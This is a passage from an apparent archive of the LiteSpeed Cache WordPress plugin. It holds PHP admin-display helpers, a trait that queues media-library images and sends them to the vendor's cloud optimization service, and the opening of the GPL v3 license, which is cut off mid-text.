* @param bool $allow_zero Whether zero is allowed. * @return void */ protected function _validate_ttl( $id, $min = false, $max = false, $allow_zero = false ) { $val = $this->conf( $id, true ); $tip = []; if ( $min && $val < $min && ( ! $allow_zero || 0 !== $val ) ) { $tip[] = esc_html__( 'Minimum value', 'litespeed-cache' ) . ': <code>' . $min . '</code>.'; } if ( $max && $val > $max ) { $tip[] = esc_html__( 'Maximum value', 'litespeed-cache' ) . ': <code>' . $max . '</code>.'; } echo '<br />'; if ( $tip ) { echo '<span class="litespeed-warning"> ❌ ' . wp_kses_post( implode( ' ', $tip ) ) . '</span>'; } $range = ''; if ( $allow_zero ) { $range .= esc_html__( 'Zero, or', 'litespeed-cache' ) . ' '; } if ( $min && $max ) { $range .= $min . ' - ' . $max; } elseif ( $min ) { $range .= esc_html__( 'Larger than', 'litespeed-cache' ) . ' ' . $min; } elseif ( $max ) { $range .= esc_html__( 'Smaller than', 'litespeed-cache' ) . ' ' . $max; } echo esc_html__( 'Value range', 'litespeed-cache' ) . ': <code>' . esc_html( $range ) . '</code>'; } /** * Validate IPs in a list. * * @since 3.0 * * @param string $id Setting ID. * @return void */ protected function _validate_ip( $id ) { $val = $this->conf( $id, true ); if ( ! $val ) { return; } if ( ! is_array( $val ) ) { $val = [ $val ]; } $tip = []; foreach ( $val as $v ) { if ( ! $v ) { continue; } if ( ! \WP_Http::is_ip_address( $v ) ) { $tip[] = esc_html__( 'Invalid IP', 'litespeed-cache' ) . ': <code>' . esc_html( $v ) . '</code>.'; } } if ( $tip ) { echo '<br /><span class="litespeed-warning"> ❌ ' . wp_kses_post( implode( ' ', $tip ) ) . '</span>'; } } /** * Display API environment variable support. * * @since 1.8.3 * @access protected * * @param string ...$args Server variable names. * @return void */ protected function _api_env_var( ...$args ) { echo '<span class="litespeed-success"> ' . esc_html__( 'API', 'litespeed-cache' ) . ': ' . sprintf( /* translators: %s: list of server variables in <code> tags */ esc_html__( 'Server variable(s) %s available to override this setting.', 'litespeed-cache' ), '<code>' . implode( '</code>, <code>', array_map( 'esc_html', $args ) ) . '</code>' ) . '</span>'; Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/admin/#limiting-the-crawler' ); } /** * Display URI setting example. * * @since 2.6.1 * @access protected * @return void */ protected function _uri_usage_example() { echo esc_html__( 'The URLs will be compared to the REQUEST_URI server variable.', 'litespeed-cache' ); /* translators: 1: example URL, 2: pattern example */ echo ' ' . sprintf( esc_html__( 'For example, for %1$s, %2$s can be used here.', 'litespeed-cache' ), '<code>/mypath/mypage?aa=bb</code>', '<code>mypage?aa=</code>' ); echo '<br /><i>'; /* translators: %s: caret symbol */ printf( esc_html__( 'To match the beginning, add %s to the beginning of the item.', 'litespeed-cache' ), '<code>^</code>' ); /* translators: %s: dollar symbol */ echo ' ' . sprintf( esc_html__( 'To do an exact match, add %s to the end of the URL.', 'litespeed-cache' ), '<code>$</code>' ); echo ' ' . esc_html__( 'One per line.', 'litespeed-cache' ); echo '</i>'; } /** * Return pluralized strings. * * @since 2.0 * * @param int $num Number. * @param string $kind Kind of item (group|image). * @return string */ public static function print_plural( $num, $kind = 'group' ) { if ( $num > 1 ) { switch ( $kind ) { case 'group': return sprintf( esc_html__( '%s groups', 'litespeed-cache' ), $num ); case 'image': return sprintf( esc_html__( '%s images', 'litespeed-cache' ), $num ); default: return $num; } } switch ( $kind ) { case 'group': return sprintf( esc_html__( '%s group', 'litespeed-cache' ), $num ); case 'image': return sprintf( esc_html__( '%s image', 'litespeed-cache' ), $num ); default: return $num; } } /** * Return guidance HTML. * * @since 2.0 * * @param string $title Title HTML. * @param array<int,string> $steps Steps list (HTML allowed). * @param int|string $current_step Current step number or 'done'. * @return string HTML for guidance widget. */ public static function guidance( $title, $steps, $current_step ) { if ( 'done' === $current_step ) { $current_step = count( $steps ) + 1; } $percentage = ' (' . floor( ( ( $current_step - 1 ) * 100 ) / count( $steps ) ) . '%)'; $html = '<div class="litespeed-guide"><h2>' . $title . $percentage . '</h2><ol>'; foreach ( $steps as $k => $v ) { $step = $k + 1; if ( $current_step > $step ) { $html .= '<li class="litespeed-guide-done">'; } else { $html .= '<li>'; } $html .= $v . '</li>'; } $html .= '</ol></div>'; return $html; } /** * Check whether has QC hide banner cookie. * * @since 7.1 * * @return bool */ public static function has_qc_hide_banner() { return isset( $_COOKIE[ self::COOKIE_QC_HIDE_BANNER ] ) && ( time() - (int) $_COOKIE[ self::COOKIE_QC_HIDE_BANNER ] ) < 86400 * 90; } /** * Set QC hide banner cookie. * * @since 7.1 * @return void */ public static function set_qc_hide_banner() { $expire = time() + 86400 * 365; self::debug( 'Set qc hide banner cookie' ); setcookie( self::COOKIE_QC_HIDE_BANNER, time(), $expire, COOKIEPATH, COOKIE_DOMAIN ); } /** * Handle all request actions from main cls. * * @since 7.1 * @return void */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_QC_HIDE_BANNER: self::set_qc_hide_banner(); break; default: break; } Admin::redirect(); } } ��������������������������������plugins/litespeed-cache/src/img-optm-send.trait.php�������������������������������������������������0000644�����������������00000053626�15233526476�0016377 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Image optimization send trait * * @package LiteSpeed * @since 7.8 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Trait Img_Optm_Send * * Handles image optimization request sending. */ trait Img_Optm_Send { /** * Gather images auto when update attachment meta * This is to optimize new uploaded images first. Stored in img_optm table. * Later normal process will auto remove these records when trying to optimize these images again * * @since 4.0 * @param array $meta_value The meta value array. * @param int $post_id The post ID. */ public function wp_update_attachment_metadata( $meta_value, $post_id ) { global $wpdb; self::debug2( '🖌️ Auto update attachment meta [id] ' . $post_id ); if ( empty( $meta_value['file'] ) ) { return; } // Load gathered images if ( ! $this->_existed_src_list ) { // To aavoid extra query when recalling this function self::debug( 'SELECT src from img_optm table' ); if ( $this->__data->tb_exist( 'img_optm' ) ) { $q = "SELECT src FROM `$this->_table_img_optm` WHERE post_id = %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $wpdb->prepare( $q, $post_id ) ); foreach ( $list as $v ) { $this->_existed_src_list[] = $post_id . '.' . $v->src; } } if ( $this->__data->tb_exist( 'img_optming' ) ) { $q = "SELECT src FROM `$this->_table_img_optming` WHERE post_id = %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $wpdb->prepare( $q, $post_id ) ); foreach ( $list as $v ) { $this->_existed_src_list[] = $post_id . '.' . $v->src; } } else { $this->__data->tb_create( 'img_optming' ); } } // Prepare images $this->tmp_pid = $post_id; $this->tmp_path = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ) . '/'; $this->_append_img_queue( $meta_value, true ); if ( ! empty( $meta_value['sizes'] ) ) { foreach ( $meta_value['sizes'] as $img_size_name => $img_size ) { $this->_append_img_queue( $img_size, false, $img_size_name ); } } if ( ! $this->_img_in_queue ) { self::debug( 'auto update attachment meta 2 bypass: empty _img_in_queue' ); return; } // Save to DB $this->_save_raw(); // $this->_send_request(); } /** * Auto send optm request * * @since 2.4.1 * @access public */ public static function cron_auto_request() { if ( ! wp_doing_cron() ) { return false; } $instance = self::cls(); $instance->new_req(); } /** * Calculate wet run allowance * * @since 3.0 * @return int|false The wet limit or false if no limit. */ public function wet_limit() { $wet_limit = 1; if ( ! empty( $this->_summary['img_taken'] ) ) { $wet_limit = pow( $this->_summary['img_taken'], 2 ); } if ( 1 === $wet_limit && ! empty( $this->_summary[ 'img_status.' . self::STATUS_ERR_OPTM ] ) ) { $wet_limit = pow( $this->_summary[ 'img_status.' . self::STATUS_ERR_OPTM ], 2 ); } if ( $wet_limit < Cloud::IMG_OPTM_DEFAULT_GROUP ) { return $wet_limit; } // No limit return false; } /** * Push raw img to image optm server * * @since 1.6 * @access public */ public function new_req() { global $wpdb; // check if is running if ( ! empty( $this->_summary['is_running'] ) && time() - $this->_summary['is_running'] < apply_filters( 'litespeed_imgoptm_new_req_interval', 3600 ) ) { self::debug( 'The previous req was in 3600s.' ); return; } $this->_summary['is_running'] = time(); self::save_summary(); // Check if has credit to push $err = false; $allowance = Cloud::cls()->allowance( Cloud::SVC_IMG_OPTM, $err ); $wet_limit = $this->wet_limit(); self::debug( "allowance_max $allowance wet_limit $wet_limit" ); if ( $wet_limit && $wet_limit < $allowance ) { $allowance = $wet_limit; } if ( ! $allowance ) { self::debug( '❌ No credit' ); Admin_Display::error( Error::msg( $err ) ); $this->_finished_running(); return; } self::debug( 'preparing images to push' ); $this->__data->tb_create( 'img_optming' ); $q = "SELECT COUNT(1) FROM `$this->_table_img_optming` WHERE optm_status = %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $q, [ self::STATUS_REQUESTED ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $total_requested = $wpdb->get_var( $q ); $max_requested = $allowance * 1; if ( $total_requested > $max_requested ) { self::debug( '❌ Too many queued images (' . $total_requested . ' > ' . $max_requested . ')' ); Admin_Display::error( Error::msg( 'too_many_requested' ) ); $this->_finished_running(); return; } $allowance -= $total_requested; if ( $allowance < 1 ) { self::debug( '❌ Too many requested images ' . $total_requested ); Admin_Display::error( Error::msg( 'too_many_requested' ) ); $this->_finished_running(); return; } // Limit maximum number of items waiting to be pulled $q = "SELECT COUNT(1) FROM `$this->_table_img_optming` WHERE optm_status = %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $q, [ self::STATUS_NOTIFIED ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $total_notified = $wpdb->get_var( $q ); if ( $total_notified > 0 ) { self::debug( '❌ Too many notified images (' . $total_notified . ')' ); Admin_Display::error( Error::msg( 'too_many_notified' ) ); $this->_finished_running(); return; } $q = "SELECT COUNT(1) FROM `$this->_table_img_optming` WHERE optm_status IN (%d, %d)"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $q, [ self::STATUS_NEW, self::STATUS_RAW ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $total_new = $wpdb->get_var( $q ); // $allowance -= $total_new; // May need to get more images $list = []; $more = $allowance - $total_new; if ( $more > 0 ) { $q = "SELECT b.post_id, b.meta_value FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.ID>%d AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID LIMIT %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $q, [ $this->_summary['next_post_id'], $more ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $q ); foreach ( $list as $v ) { if ( ! $v->post_id ) { continue; } $this->_summary['next_post_id'] = $v->post_id; $meta_value = $this->_parse_wp_meta_value( $v ); if ( ! $meta_value ) { continue; } $meta_value['file'] = wp_normalize_path( $meta_value['file'] ); $basedir = $this->wp_upload_dir['basedir'] . '/'; if ( strpos( $meta_value['file'], $basedir ) === 0 ) { $meta_value['file'] = substr( $meta_value['file'], strlen( $basedir ) ); } $this->tmp_pid = $v->post_id; $this->tmp_path = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ) . '/'; $this->_append_img_queue( $meta_value, true ); if ( ! empty( $meta_value['sizes'] ) ) { foreach ( $meta_value['sizes'] as $img_size_name => $img_size ) { $this->_append_img_queue( $img_size, false, $img_size_name ); } } } self::save_summary(); $num_a = count( $this->_img_in_queue ); self::debug( 'Images found: ' . $num_a ); $this->_filter_duplicated_src(); self::debug( 'Images after duplicated: ' . count( $this->_img_in_queue ) ); $this->_filter_invalid_src(); self::debug( 'Images after invalid: ' . count( $this->_img_in_queue ) ); // Check w/ legacy imgoptm table, bypass finished images $this->_filter_legacy_src(); $num_b = count( $this->_img_in_queue ); if ( $num_b !== $num_a ) { self::debug( 'Images after filtered duplicated/invalid/legacy src: ' . $num_b ); } // Save to DB $this->_save_raw(); } // Push to Cloud server $accepted_imgs = $this->_send_request( $allowance ); $this->_finished_running(); if ( ! $accepted_imgs ) { return; } $placeholder1 = Admin_Display::print_plural( $accepted_imgs[0], 'image' ); $placeholder2 = Admin_Display::print_plural( $accepted_imgs[1], 'image' ); $msg = sprintf( __( 'Pushed %1$s to Cloud server, accepted %2$s.', 'litespeed-cache' ), $placeholder1, $placeholder2 ); Admin_Display::success( $msg ); } /** * Set running to done * * @since 3.0 * @access private */ private function _finished_running() { $this->_summary['is_running'] = 0; self::save_summary(); } /** * Add a new img to queue which will be pushed to request * * @since 1.6 * @since 7.5 Allow to choose which image sizes should be optimized + added parameter $img_size_name. * @access private * @param array $meta_value The meta value array. * @param bool $is_ori_file Whether this is the original file. * @param string|bool $img_size_name The image size name or false. */ private function _append_img_queue( $meta_value, $is_ori_file = false, $img_size_name = false ) { if ( empty( $meta_value['file'] ) || empty( $meta_value['width'] ) || empty( $meta_value['height'] ) ) { self::debug2( 'bypass image due to lack of file/w/h: pid ' . $this->tmp_pid, $meta_value ); return; } $short_file_path = $meta_value['file']; // Test if need to skip image size. if ( ! $is_ori_file ) { $short_file_path = $this->tmp_path . $short_file_path; $skip = false !== array_search( $img_size_name, $this->_sizes_skipped, true ); if ( $skip ) { self::debug2( 'bypass image ' . $short_file_path . ' due to skipped size: ' . $img_size_name ); return; } } // Check if src is gathered already or not if ( in_array( $this->tmp_pid . '.' . $short_file_path, $this->_existed_src_list, true ) ) { // Debug2::debug2( '[Img_Optm] bypass image due to gathered: pid ' . $this->tmp_pid . ' ' . $short_file_path ); return; } else { // Append handled images $this->_existed_src_list[] = $this->tmp_pid . '.' . $short_file_path; } // check file exists or not $_img_info = $this->__media->info( $short_file_path, $this->tmp_pid ); $extension = pathinfo( $short_file_path, PATHINFO_EXTENSION ); if ( ! $_img_info || ! in_array( $extension, [ 'jpg', 'jpeg', 'png', 'gif' ], true ) ) { self::debug2( 'bypass image due to file not exist: pid ' . $this->tmp_pid . ' ' . $short_file_path ); return; } // Check if optimized file exists or not $target_needed = false; if ( $this->_format ) { $target_file_path = $short_file_path . '.' . $this->_format; if ( ! $this->__media->info( $target_file_path, $this->tmp_pid ) ) { $target_needed = true; } } if ( $this->conf( self::O_IMG_OPTM_ORI ) ) { $target_file_path = substr( $short_file_path, 0, -strlen( $extension ) ) . 'bk.' . $extension; if ( ! $this->__media->info( $target_file_path, $this->tmp_pid ) ) { $target_needed = true; } } if ( ! $target_needed ) { self::debug2( 'bypass image due to optimized file exists: pid ' . $this->tmp_pid . ' ' . $short_file_path ); return; } // Debug2::debug2( '[Img_Optm] adding image: pid ' . $this->tmp_pid ); $this->_img_in_queue[] = [ 'pid' => $this->tmp_pid, 'md5' => $_img_info['md5'], 'url' => $_img_info['url'], 'src' => $short_file_path, // not needed in LiteSpeed IAPI, just leave for local storage after post 'mime_type' => ! empty( $meta_value['mime-type'] ) ? $meta_value['mime-type'] : '', ]; } /** * Save gathered image raw data * * @since 3.0 * @access private */ private function _save_raw() { if ( empty( $this->_img_in_queue ) ) { return; } $data = []; $pid_list = []; foreach ( $this->_img_in_queue as $k => $v ) { $_img_info = $this->__media->info( $v['src'], $v['pid'] ); // attachment doesn't exist, delete the record if ( empty( $_img_info['url'] ) || empty( $_img_info['md5'] ) ) { unset( $this->_img_in_queue[ $k ] ); continue; } $pid_list[] = (int) $v['pid']; $data[] = $v['pid']; $data[] = self::STATUS_RAW; $data[] = $v['src']; } global $wpdb; $fields = 'post_id, optm_status, src'; $q = "INSERT INTO `$this->_table_img_optming` ( $fields ) VALUES "; // Add placeholder $q .= Utility::chunk_placeholder( $data, $fields ); // Store data // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, $data ) ); $count = count( $this->_img_in_queue ); self::debug( 'Added raw images [total] ' . $count ); $this->_img_in_queue = []; // Save thumbnail groups for future rescan index $this->_gen_thumbnail_set(); $pid_list = array_unique( $pid_list ); self::debug( 'pid list to append to postmeta', $pid_list ); $pid_list = array_diff( $pid_list, $this->_pids_set ); $this->_pids_set = array_merge( $this->_pids_set, $pid_list ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $existed_meta = $wpdb->get_results( "SELECT * FROM `$wpdb->postmeta` WHERE post_id IN ('" . implode( "','", $pid_list ) . "') AND meta_key='" . self::DB_SET . "'" ); $existed_pid = []; if ( $existed_meta ) { foreach ( $existed_meta as $v ) { $existed_pid[] = $v->post_id; } self::debug( 'pid list to update postmeta', $existed_pid ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- $existed_pid is array of sanitized IDs $wpdb->prepare( "UPDATE `$wpdb->postmeta` SET meta_value=%s WHERE post_id IN (" . implode( ',', $existed_pid ) . ') AND meta_key=%s', [ $this->_thumbnail_set, self::DB_SET, ] ) ); } // Add new meta $new_pids = $existed_pid ? array_diff( $pid_list, $existed_pid ) : $pid_list; if ( $new_pids ) { self::debug( 'pid list to update postmeta', $new_pids ); foreach ( $new_pids as $v ) { self::debug( 'New group set info [pid] ' . $v ); $q = "INSERT INTO `$wpdb->postmeta` (post_id, meta_key, meta_value) VALUES (%d, %s, %s)"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, [ $v, self::DB_SET, $this->_thumbnail_set ] ) ); } } } /** * Generate thumbnail sets of current image group * * @since 5.4 * @access private */ private function _gen_thumbnail_set() { if ( $this->_thumbnail_set ) { return; } $set = []; foreach ( Media::cls()->get_image_sizes() as $size ) { $curr_size = $size['width'] . 'x' . $size['height']; if ( in_array( $curr_size, $set, true ) ) { continue; } $set[] = $curr_size; } $this->_thumbnail_set = implode( PHP_EOL, $set ); } /** * Filter duplicated src in work table and $this->_img_in_queue, then mark them as duplicated * * @since 2.0 * @access private */ private function _filter_duplicated_src() { global $wpdb; $srcpath_list = []; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $list = $wpdb->get_results( "SELECT src FROM `$this->_table_img_optming`" ); foreach ( $list as $v ) { $srcpath_list[] = $v->src; } foreach ( $this->_img_in_queue as $k => $v ) { if ( in_array( $v['src'], $srcpath_list, true ) ) { unset( $this->_img_in_queue[ $k ] ); continue; } $srcpath_list[] = $v['src']; } } /** * Filter legacy finished ones * * @since 5.4 * @access private */ private function _filter_legacy_src() { global $wpdb; if ( ! $this->__data->tb_exist( 'img_optm' ) ) { return; } if ( ! $this->_img_in_queue ) { return; } $finished_ids = []; Utility::compatibility(); $post_ids = array_unique( array_column( $this->_img_in_queue, 'pid' ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $list = $wpdb->get_results( "SELECT post_id FROM `$this->_table_img_optm` WHERE post_id in (" . implode( ',', $post_ids ) . ') GROUP BY post_id' ); foreach ( $list as $v ) { $finished_ids[] = $v->post_id; } foreach ( $this->_img_in_queue as $k => $v ) { if ( in_array( $v['pid'], $finished_ids, true ) ) { self::debug( 'Legacy image optimized [pid] ' . $v['pid'] ); unset( $this->_img_in_queue[ $k ] ); continue; } } // Drop all existing legacy records // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query( "DELETE FROM `$this->_table_img_optm` WHERE post_id in (" . implode( ',', $post_ids ) . ')' ); } /** * Filter the invalid src before sending * * @since 3.0.8.3 * @access private */ private function _filter_invalid_src() { $img_in_queue_invalid = []; foreach ( $this->_img_in_queue as $k => $v ) { if ( $v['src'] ) { $extension = pathinfo( $v['src'], PATHINFO_EXTENSION ); } if ( ! $v['src'] || empty( $extension ) || ! in_array( $extension, [ 'jpg', 'jpeg', 'png', 'gif' ], true ) ) { $img_in_queue_invalid[] = $v['id']; unset( $this->_img_in_queue[ $k ] ); continue; } } if ( ! $img_in_queue_invalid ) { return; } $count = count( $img_in_queue_invalid ); $msg = sprintf( __( 'Cleared %1$s invalid images.', 'litespeed-cache' ), $count ); Admin_Display::success( $msg ); self::debug( 'Found invalid src [total] ' . $count ); } /** * Push img request to Cloud server * * @since 1.6.7 * @access private * @param int $allowance The allowance limit. * @return array|void Array with pushed and accepted counts. */ private function _send_request( $allowance ) { global $wpdb; $q = "SELECT id, src, post_id FROM `$this->_table_img_optming` WHERE optm_status=%d LIMIT %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $q, [ self::STATUS_RAW, $allowance ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $_img_in_queue = $wpdb->get_results( $q ); if ( ! $_img_in_queue ) { return; } self::debug( 'Load img in queue [total] ' . count( $_img_in_queue ) ); $list = []; foreach ( $_img_in_queue as $v ) { $_img_info = $this->__media->info( $v->src, $v->post_id ); // If record is invalid, remove from img_optming table if ( empty( $_img_info['url'] ) || empty( $_img_info['md5'] ) ) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query( $wpdb->prepare( "DELETE FROM `$this->_table_img_optming` WHERE id=%d", $v->id ) ); continue; } $img = [ 'id' => $v->id, 'url' => $_img_info['url'], 'md5' => $_img_info['md5'], ]; // Build the needed image types for request as we now support soft reset counter if ( $this->_format ) { $target_file_path = $v->src . '.' . $this->_format; if ( $this->__media->info( $target_file_path, $v->post_id ) ) { $img[ 'optm_' . $this->_format ] = 0; } } if ( $this->conf( self::O_IMG_OPTM_ORI ) ) { $extension = pathinfo( $v->src, PATHINFO_EXTENSION ); $target_file_path = substr( $v->src, 0, -strlen( $extension ) ) . 'bk.' . $extension; if ( $this->__media->info( $target_file_path, $v->post_id ) ) { $img['optm_ori'] = 0; } } $list[] = $img; } if ( ! $list ) { $msg = __( 'No valid image found in the current request.', 'litespeed-cache' ); Admin_Display::error( $msg ); return; } $data = [ 'action' => self::CLOUD_ACTION_NEW_REQ, 'list' => wp_json_encode( $list ), 'optm_ori' => $this->conf( self::O_IMG_OPTM_ORI ) ? 1 : 0, 'optm_lossless' => $this->conf( self::O_IMG_OPTM_LOSSLESS ) ? 1 : 0, 'keep_exif' => $this->conf( self::O_IMG_OPTM_EXIF ) ? 1 : 0, ]; if ( $this->_format ) { $data[ 'optm_' . $this->_format ] = 1; } // Push to Cloud server $json = Cloud::post( Cloud::SVC_IMG_OPTM, $data ); if ( ! $json ) { return; } // Check data format if ( empty( $json['ids'] ) ) { self::debug( 'Failed to parse response data from Cloud server ', $json ); $msg = __( 'No valid image found by Cloud server in the current request.', 'litespeed-cache' ); Admin_Display::error( $msg ); return; } self::debug( 'Returned data from Cloud server count: ' . count( $json['ids'] ) ); $ids = implode( ',', array_map( 'intval', $json['ids'] ) ); // Update img table $q = "UPDATE `$this->_table_img_optming` SET optm_status = '" . self::STATUS_REQUESTED . "' WHERE id IN ( $ids )"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $q ); $this->_summary['last_requested'] = time(); self::save_summary(); return [ count( $list ), count( $json['ids'] ) ]; } /** * Parse wp's meta value * * @since 1.6.7 * @access private * @param object $v The database row object. * @return array|false The parsed meta value or false on failure. */ private function _parse_wp_meta_value( $v ) { if ( empty( $v ) ) { self::debug( 'bypassed parsing meta due to null value' ); return false; } if ( ! $v->meta_value ) { self::debug( 'bypassed parsing meta due to no meta_value: pid ' . $v->post_id ); return false; } // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged -- Suppress warnings from corrupted metadata $meta_value = @maybe_unserialize( $v->meta_value ); if ( ! is_array( $meta_value ) ) { self::debug( 'bypassed parsing meta due to meta_value not json: pid ' . $v->post_id ); return false; } if ( empty( $meta_value['file'] ) ) { self::debug( 'bypassed parsing meta due to no ori file: pid ' . $v->post_id ); return false; } return $meta_value; } } ����������������������������������������������������������������������������������������������������������plugins/litespeed-cache/LICENSE���������������������������������������������������������������������0000644�����������������00000104515�15233526476�0012274 0����������������������������������������������������������������������������������������������������ustar�00������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/> Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with 